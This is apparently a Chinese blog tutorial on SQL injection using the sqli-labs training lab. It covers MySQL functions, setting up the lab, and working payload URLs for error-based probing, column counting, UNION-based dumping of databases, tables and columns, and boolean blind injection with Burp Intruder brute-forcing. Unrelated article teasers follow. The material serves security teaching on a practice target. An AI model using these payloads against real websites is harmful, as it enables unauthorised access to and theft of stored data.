SQL注入-上篇

SQL注入

注入是web安全的头号大敌。注入攻击漏洞往往是应用程序缺少对输入进行安全性检查所引起的。攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。注入漏洞通常能sql查询,ldap查询,os命令,程序参数等中出现。

SQL注入常用函数

version() #数据库版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本

# 字符串函数
length() # 返回字符串长度
mid() left() right() substr() # 截取字符串
concat() # 没有分隔符连接字符串
concat_ws() # 含有分隔符连接字符串
group_concat() # 连接一个组的字符串
ord() # 返回ASCII码
ascii() # 字符转ascii码
md5() #返回md5值
floor(x) # 不大于x的最大整数
round(x) # 返回参数x接近的整数
rand(x) # 0-1之间的随机浮点数
sleep() #睡眠时间
if(true,t,f) # IF

# 重要的数据库
information_schema # 包含mysql中所有数据库信息
# 重要的表
schemate # mysql中所有数据库的信息
  schema_name #所有的数据库名
tables # 数据库表中的信息
  table_name #记录数据表名
columns #列信息
  column_name #字段名

示例:

use `security`;
# 查询mysql 中的所有数据库
# 结果 :information_schema,challenges,dvwa,mysql,performance_schema,security,test
select GROUP_CONCAT(SCHEMA_NAME ) from information_schema.SCHEMATA ;

# 查询 security数据库中的所有表
# 结果:emails,referers,uagents,users
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = database();

# 查询security数据库中users表的的字段信息
# 结果:id,username,password
select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users';

注入流程

1 使用单引号判断是字符型还是数字型
类型选择
2  有显示位:union
3  无显示位:但是网页会根据代码而改变: 布尔盲注
4  无显示位,网页也不会变化,具体看网站的回显时间:时间盲注

注入检测

一、字符型检测(Less-1)

源SQL:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

  1. 在url后拼接单引号
# Less-1
# url编码: %27表示'
# 页面不出现sql错误,则可以注入
http://10.196.93.56/sqli-labs/Less-1/?id=3%27

  1. url拼接通用条件
# Less-1
# -- - 表示mysql注释信息
# and 1=1 (通用条件,永远为True)
http://10.196.93.56/sqli-labs/Less-1/?id=1 ' and 1=1 -- -

# 或
http://10.196.93.56/sqli-labs/Less-1/?id=' or 1=1 -- -

二、数字型注入检测(Less-2)

源SQL:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

# 拼接单引号
http://10.196.93.56/sqli-labs/Less-2/?id=1# 结果:报错 
# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

# 添加注释信息
http://10.196.93.56/sqli-labs/Less-2/?id=1 -- -
# 结果:成功

# 数字型
http://10.196.93.56/sqli-labs/Less-2/?id=1 or 1=1
# 结果:成功

三、搜索型注入探测

image.png

四、xx型注入探测

image.png

sqli-labs靶场搭建

  1. 下载地址:https://github.com/Audi-1/sqli-labs
  2. 下载完成后将文件夹放入到Apache根目录中。
    1. 例如:E:\PHP\httpd-2.4.59-240605-win64-VS17\Apache24\htdocs\sqli-labs
    2. sqli-labs为靶机目录
    3. 访问:http://localhost:8099/sqli-labs/index.html
      image.png
  3. 修改数据库配置:
# 位置:E:\PHP\httpd-2.4.59-240605-win64-VS17\Apache24\htdocs\sqli-labs\sql-connections\db-creds.inc
# 修改数据库连接信息

<?php

  //give your mysql connection username n password
$dbuser ='root';
$dbpass ='root';
$dbname ="security";
$host = '127.0.0.1';
$dbname1 = "challenges";



?>

  1. 网站初始化
    1. 进入到页面,点击setup连接
      1. 若失败可能原因:
        1. mysql版本太高,切换到5点几版本
        2. php版本使用7以下
        3. 没有配置数据库信息
      2. 初始化成功页面
        image.png

union注入

关键字union,作用就是将多条查询语句的结果合并成一个结果集。

一、查询示例

# mysql 两种注释方法:# 和--
# 两种注释方法都是单行注释,如果换行了注释则不生效。

use `security`;
select * from users where 1=1 #
union select 1,1,2 ;
# 结果 

// 1	Dumb	Dumb
// 2	Angelina	I-kill-you
// 3	Dummy	p@ssword
// 4	secure	crappy
// 5	stupid	stupidity
// 6	superman	genious
// 7	batman	mob!le
// 8	admin	admin
// 1	1	2

二、判断列数(Less-1)

# 使用order by 或group by
# 从1开始,直到报错,即可知道列数
http://10.196.93.56/sqli-labs/Less-1/?id=1' order by 4 -- 
# 返回结果:Unknown column '4' in 'order clause'

http://10.196.93.56/sqli-labs/Less-1/?id=1' order by 3 -- 
#返回结果:正常



三:union注入(Less-1)

  1. 显示位判断
# 让前一条sql语句查询不到值,从而从后面的sql语句显示在页面上
http://10.196.93.56/sqli-labs/Less-1/?id=3333' union select 1,2,3 -- 

image.png

  1. 查询数据库当前用户
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,user(),3  -- -

image.png

  1. 查询当前数据库
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,database(),3  -- -

image.png

  1. 查询mysql中的所有数据库
    1. 方法一:limit
# 数据库:information_schema
# 查询所有数据库语句
# select SCHEMA_NAME from information_schema.SCHEMATA 
# 因为页面只显示一条数据,所以使用limit 来切换数据
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select SCHEMA_NAME from information_schema.SCHEMATA limit 2,1) ,3  -- -
# 使用字符串连接符:group_concat()




image.png

  1. 方法二:group_concat()
# 使用GROUP_CONCAT()方法将查询的数据连接成一行
# select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select  GROUP_CONCAT(SCHEMA_NAME ) from information_schema.SCHEMATA ) ,3  -- -

image.png

  1. 查询security数据库中的表名字
# 查询 security数据库中的所有表
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = 'security';
#或 database() 表示当前数据库
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = database();
# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select group_concat(table_name) tables from information_schema.TABLES where TABLE_SCHEMA = 'security') ,3  -- -

image.png

  1. 查询security数据库中users表的的字段信息
# sql语句
select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users';
# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,(select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users'),3  -- -

image.png

SQL盲注

模拟环境:Less-1 、Less-8
修改页面:
image.png

一、概述

盲注是指在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入,盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

二、布尔盲注

  1. 需要用到的sql函数
length() # 字符长度
Substr() # 截取字符
ascii()  # 返回ascii编码
sleep(n) # 睡眠
if(条件,True,False) #判断
  1. 是否能注入判断方法(都是使用单引号判断)
    1. 源SQL:"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
http://10.196.93.56/sqli-labs/Less-1/?id=1' -- 

image.png

  1. 猜测出数据库的长度位数
# 通过多次查看显示的值来判断数据库的长度
# 结果:8
SELECT * FROM users WHERE id= '1' and length(database())=8  LIMIT 0,1
# 注入:
http://10.196.93.56/sqli-labs/Less-1/?id=1'  and length(database())=8 -- 

image.png

  1. 猜测当前数据库的名称
# 通过将substr()函数分别截取名称字符,在将字符转为ascill码,通过数字判断进行爆破

# 结果为:115
select ascii(substr( database(),1,1))

#sql 
use security;
select * from users where id ='1' and ascii(substr(database(),1,1)) =115

# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=' or ascii(substr(database(),1,1)) =115 -- 


image.png

  1. 使用burp 进行数据库名称爆破
    1. 抓包并发送到爆破模块
      1. image.png
    2. 选择各种组合模式并设置变量
      1. url:/sqli-labs/Less-1/?id=%27or%20substr(database(),§1§,1)=%20"§s§"%20%20%23
      2. image.png
    3. 变量1设置
      1. image.png
    4. 变量s设置
      1. image.png
    5. 开始爆破
      1. 长度为890的则为正确字符,通过组合则可以得到真实数据库名称
      2. image.png
  2. 查询security 数据库中有多少张表
    1. 4张
#sql 
select * from security.users where id ='1' and (select count(*) from information_schema.tables where `TABLES`.table_schema ='security')=4 --
#注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and   (select count(*) from information_schema.tables where `TABLES`.table_schema ='security')=4 --  
  1. 查询数据库中的表名
    1. emails/referers/uagents/users
# sql
select * from security.users where id ='1'  and substr((select table_name from information_schema.tables where `TABLES`.table_schema ='security' limit 0,1),2,1)="e" --
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id= ' or  substr((select table_name from information_schema.tables where `TABLES`.table_schema ='security' limit 0,1),1,1)="e" -- 
  1. 查询emails表的字段长度
    1. 字段个数
# sql
select * from `security`.users where id="1" and (select count(*) from information_schema.`COLUMNS` where TABLE_NAME='emails') =2 -- 
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and  (select count(*) from information_schema.`COLUMNS` where TABLE_NAME='emails') =2 -- 
  1. 查询emails表的字段名
    1. id …
# sql
select * from `security`.users where id="1" and substr((select COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME='emails' limit 0,1),1,1)='i' --
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and substr((select COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME='emails' limit 0,1),1,1)='i' -- 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/717682.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

前端构建工具用得好,构建速度提升 10 倍

今天来盘点一下前端构建工具。 Turbopack Turbopack&#xff0c;由Vercel开源&#xff0c;是下一代高性能的JavaScript应用构建工具&#xff0c;目前用于 Next.js 中。Turbopack旨在通过革新JavaScript应用的打包流程来显著提升应用性能&#xff0c;它专注于缩短加载时间&…

分析线程池的构造过程,追踪核心成员变量

分析线程池的构造过程,追踪核心成员变量 1、背景2、核心参数3、这样设计的好处1、背景 上图是对线程池原理的一个详细的表达,它体现了线程池的几个核心概念,具体是哪些概念呢,让我们一起来探索。 2、核心参数 首先通过对Executors创建线程池的方法签名的分析,我们会发现…

简单一招实现计件工资的核算

现在很多工厂都采用计件工资的管理办法&#xff0c;这充分体现了多劳多得、按劳取酬的薪资分配原则&#xff0c;同时鼓励先进鞭策后进&#xff0c;奖勤罚懒&#xff0c;摒弃计时工资的“大锅饭”心态&#xff0c;提高了企业的整体运作效率。 计件工资的难题 但是在实际的操作中…

马斯克的薪酬风波:一场560亿的激励之战

引言 在2024年的特斯拉股东大会上&#xff0c;埃隆马斯克成功获得了价值560亿美元的薪酬激励&#xff0c;这一事件引起了广泛关注和讨论。这次股东大会不仅标志着特斯拉在AI和机器人领域的战略布局&#xff0c;同时也揭示了马斯克在公司治理和薪酬激励机制中的独特策略。本文将…

第2讲:pixi.js 绘制HelloWorld

基于第0讲和第1讲&#xff0c;我们增添了vite.config.ts文件。并配置了其他的http端口。 此时&#xff0c;我们删除掉没用的东西。 删除 conter.ts、typescript.svg 在main.ts中改成如下内容&#xff1a; import {Application, Text} from pixi.js import ./style.css// 指明…

“深入探讨Redis主从复制:原理、配置与优化“

目录 # 概念 1. 配置主从同步步骤 1.1 创建文件夹 1.2 复制配置文件 1.3 配置文件关闭 1.4 查看端口号&#xff0c;发现端口号存在 1.5 连接三个端口号 1.6 查看主机运行情况 1.7 让服务器变成&#xff08;主机&#xff09;或&#xff08;从机&#xff09; 1.8 实现效…

关于禁止word的无用插入模式

这是我的word版本号 点击左上角文件选项 找到左侧最下方的选项 点击高级 把这两个叉掉

ssm宠物网站系统-计算机毕业设计源码07183

摘 要 在信息飞速发展的今天&#xff0c;网络已成为人们重要的信息交流平台。宠物网站每天都有大量的信息需要通过网络发布&#xff0c;为此&#xff0c;本人开发了一个基于B/S&#xff08;浏览器/服务器&#xff09;模式的宠物网站系统。 该系统以JJava编程语言、MySQL和SSM框…

2024年6月17日 (周一) 叶子游戏新闻

期刊杂志: 聚合读者、意林、知音、故事会、花火以及国内各大知名报纸电子版&#xff0c;无需付费即可观看各种免费资源 中医自学宝典: 集合了中医医案&#xff0c;医经&#xff0c;方剂 药材知识的app&#xff0c;更方便的免费学习中医知识 《最终幻想7》重制三部曲总监鸟山求&…

指定导师申请成功|普通高校教师省公派英国曼彻斯特大学访学交流

Q老师的预期目标是世界排名Top100高校&#xff0c;且提供了心仪课题组的导师名单&#xff0c;希望借助我们丰富的资源和专业的申请经验&#xff0c;实现既定目标。我们没有辜负其委托&#xff0c;落实了美国加州大学洛杉矶分校和英国曼彻斯特大学访问学者职位&#xff0c;而曼大…

【自动驾驶】ROS小车系统介绍

文章目录 小车组成轮式运动底盘的组成轮式运动底盘的分类轮式机器人的控制方式感知传感器ROS决策主控ROS介绍ROS的坐标系ROS的单位机器人电气连接变压模块运动底盘的电气连接ROS主控与传感器的电气连接运动底盘基本组成电池电机控制器与驱动器控制器与运动底盘状态数据&#xf…

大学课设项目,Windows端基于UDP的网络聊天程序的服务端和客户端

文章目录 前言项目需求介绍一、服务端1.对Udp套接字进行一个封装2. UdpServer的编写3. Task.h4.protocol.h的编写5.线程池的编写6.main.cc 二、客户端1. Socket.h2.protocol.h3.UdpClient4.menu.h5.main.cpp 三、运行图 前言 本次项目可以作为之前内容的一个扩展&#xff0c;学…

汇聚荣拼多多运营策略是怎么样的?

拼多多作为中国领先的电商平台&#xff0c;其运营策略一直备受关注。拼多多的成功不仅在于其创新的“社交电商”模式&#xff0c;更在于其精细化的市场定位和高效的用户增长策略。本文将深入分析拼多多的运营策略&#xff0c;探讨其如何在激烈的电商竞争中突围而出。 一、用户增…

Vue3-滑动到最右验证功能

1、思路 1、在登录页面需要启动向右滑块验证 2、效果图 3、文章地址&#xff1a;滑动验证码的实现-vue-simple-verify 2、成分分析 1、由三块构成&#xff0c;分别是底部条、拖动条、拖动移动部分 2、底部条&#xff1a;整体容器&#xff0c;包括背景、边框和文字&#xf…

企业级Flask项目移植记录【待补完】

背景 Flask项目A从老电脑C1移植到新电脑C2上 更新日志 1-240614上线第一版经验&#xff0c;博主关于这个项目包的问题还没有解决&#xff0c;正在解决中&#xff0c;但是整体思路大家在移植的时候可以借鉴。 思路 1-首先生产环境的python解释器等相关的东西最好严格保持一…

基于自编码器的心电信号异常检测(Pytorch)

代码较为简单&#xff0c;很容易读懂。 # Importing necessary libraries for TensorFlow, pandas, numpy, and matplotlib import tensorflow as tf import pandas as pd import numpy as np import matplotlib.pyplot as plt import copy# Importing the PyTorch library im…

项目管理进阶之EVM(挣值管理)

前言 项目管理进阶系列&#xff0c;终于有时间更新啦&#xff01;&#xff01;&#xff01;欢迎持续关注哦~ 上一节博主重点讲了一个环&#xff1a;PDCA&#xff0c;无论各行各业&#xff0c;上到航空航天、下到种地种菜&#xff0c;都离不开对质量的监督和改进。这个环既是一…

轻松4步!格式工厂怎么转换mp3教会你

在数字化时代&#xff0c;音频文件格式转换变得越发重要&#xff0c;而格式工厂作为一款强大而多功能的工具&#xff0c;为我们提供了便捷的音频转换解决方案。特别是在将音频文件转换为MP3的需求上&#xff0c;格式工厂以其简便易用的特点备受欢迎。格式工厂怎么转换mp3&#…

力扣172. 阶乘后的零

Problem: 172. 阶乘后的零 文章目录 题目描述思路及解法复杂度Code 题目描述 思路及解法 1.要使得末尾出现0&#xff0c;则乘式中必须出现因子2与5&#xff1b; 2.而由于对于一个数的阶乘&#xff0c;易知因子2的个数是大于因子5的个数&#xff08;因为只要出现偶数则可以分解出…

好的品牌营销策划方案需包含哪些?

现在很多企业家和创业者&#xff0c;对品牌营销知之甚少。作为一个多年的老营销人&#xff0c;可以来谈谈我们写一个品牌方案一般包含哪些内容。 首先&#xff0c;我们必须认识到&#xff0c;品牌策划的第一步其实是市场调研。 这不仅仅是对企业的简单了解&#xff0c;更包括…